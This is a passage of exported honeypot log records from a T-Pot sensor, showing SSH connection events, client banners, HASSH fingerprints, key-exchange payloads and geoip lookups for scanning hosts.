"AAADzAYUS8FrGN1If8aH+tzX3CAlPAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2324, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:13.560780Z", "@timestamp": "2021-09-20T12:13:13.560Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......K.k..H....... %<...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36237	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:13.280199+03	2021-09-20 15:15:04.31572+03	{"_id": "TAYfA3wBvYTbRNuE5GHd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2324, "timestamp": "2021-09-20T12:13:13.280199", "@timestamp": "2021-09-20T12:13:13.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36238	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:14.748804+03	2021-09-20 15:15:04.31769+03	{"_id": "TwYfA3wBvYTbRNuE6mGc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "b04890d67291", "@version": "1", "duration": 3.65651798248291, "timestamp": "2021-09-20T12:13:14.748804Z", "@timestamp": "2021-09-20T12:13:14.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	JP
36239	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:13:08.392325+03	2021-09-20 15:15:04.318721+03	{"_id": "IgYfA3wBvYTbRNuEz2FA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:53186 (192.168.176.2:22) [session: 0bc0c7954ef5]", "session": "0bc0c7954ef5", "@version": "1", "protocol": "ssh", "src_port": 53186, "dest_port": 22, "timestamp": "2021-09-20T12:13:08.392325Z", "@timestamp": "2021-09-20T12:13:08.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36240	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:13:08.395215+03	2021-09-20 15:15:04.320691+03	{"_id": "IwYfA3wBvYTbRNuEz2FA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0bc0c7954ef5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:13:08.395215Z", "@timestamp": "2021-09-20T12:13:08.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36241	81.71.17.12	109.199.241.180	Suricata	2021-09-20 15:13:08.669298+03	2021-09-20 15:15:04.32169+03	{"_id": "JgYfA3wBvYTbRNuE0GFa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:13:08.119651+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1577223573525347, "payload": "AAADzAYU+KJX+1BKNVmDk9iZmLyOGQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53186, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:13:08.669298Z", "@timestamp": "2021-09-20T12:13:08.669Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........W.PJ5Y...........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
36242	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:08.395942+03	2021-09-20 15:15:04.323719+03	{"_id": "JwYfA3wBvYTbRNuE0WFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53186, "timestamp": "2021-09-20T12:13:08.395942", "@timestamp": "2021-09-20T12:13:08.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36244	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:11.092371+03	2021-09-20 15:15:04.32569+03	{"_id": "MAYfA3wBvYTbRNuE2mH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.55.41.7533341109.199.241.180'", "session": "b04890d67291", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.55.41.7533341109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T12:13:11.092371Z", "@timestamp": "2021-09-20T12:13:11.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	JP
36245	2.20.149.232	109.199.241.180	Suricata	2021-09-20 15:13:01.771287+03	2021-09-20 15:15:04.327691+03	{"_id": "CwYfA3wBvYTbRNuEtGH-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:01.771287+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "2.20.149.232", "asn": 20940, "as_org": "Akamai International B.V.", "latitude": 47.0, "location": {"lat": 47.0, "lon": 8.0}, "timezone": "Europe/Vaduz", "longitude": 8.0, "continent_code": "EU"}, "proto": "TCP", "src_ip": "2.20.149.232", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 771238600230103, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62587, "timestamp": "2021-09-20T12:13:01.771287Z", "@timestamp": "2021-09-20T12:13:01.771Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36246	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:01.754164+03	2021-09-20 15:15:04.328721+03	{"_id": "DAYfA3wBvYTbRNuEtWH3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.37.43.243", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52533, "timestamp": "2021-09-20T12:13:01.754164", "@timestamp": "2021-09-20T12:13:01.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36247	8.37.43.243	109.199.241.180	Fatt	2021-09-20 15:13:02.021145+03	2021-09-20 15:15:04.32969+03	{"_id": "DQYfA3wBvYTbRNuEtWH4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "src_ip": "8.37.43.243", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.76.44.4245412109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 52533, "dest_port": 22, "timestamp": "2021-09-20T12:13:02.021145", "@timestamp": "2021-09-20T12:13:02.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	JP
36248	8.37.43.243	109.199.241.180	Cowrie	2021-09-20 15:13:01.75044+03	2021-09-20 15:15:04.330689+03	{"_id": "EgYfA3wBvYTbRNuEt2HN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "8.37.43.243", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.37.43.243:52533 (192.168.176.2:22) [session: 190a5c8e8841]", "session": "190a5c8e8841", "@version": "1", "protocol": "ssh", "src_port": 52533, "dest_port": 22, "timestamp": "2021-09-20T12:13:01.750440Z", "@timestamp": "2021-09-20T12:13:01.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	JP
36250	8.37.43.243	109.199.241.180	Fatt	2021-09-20 15:13:11.363901+03	2021-09-20 15:15:04.333719+03	{"_id": "PAYfA3wBvYTbRNuE3WFR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.37.43.243", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 35.6882, "location": {"lat": 35.6882, "lon": 139.7532}, "timezone": "Asia/Tokyo", "city_name": "Tokyo", "longitude": 139.7532, "postal_code": "102-0082", "region_code": "13", "region_name": "Tokyo", "country_name": "Japan", "country_code2": "JP", "country_code3": "JP", "continent_code": "AS"}, "src_ip": "8.37.43.243", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.55.41.7533341109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 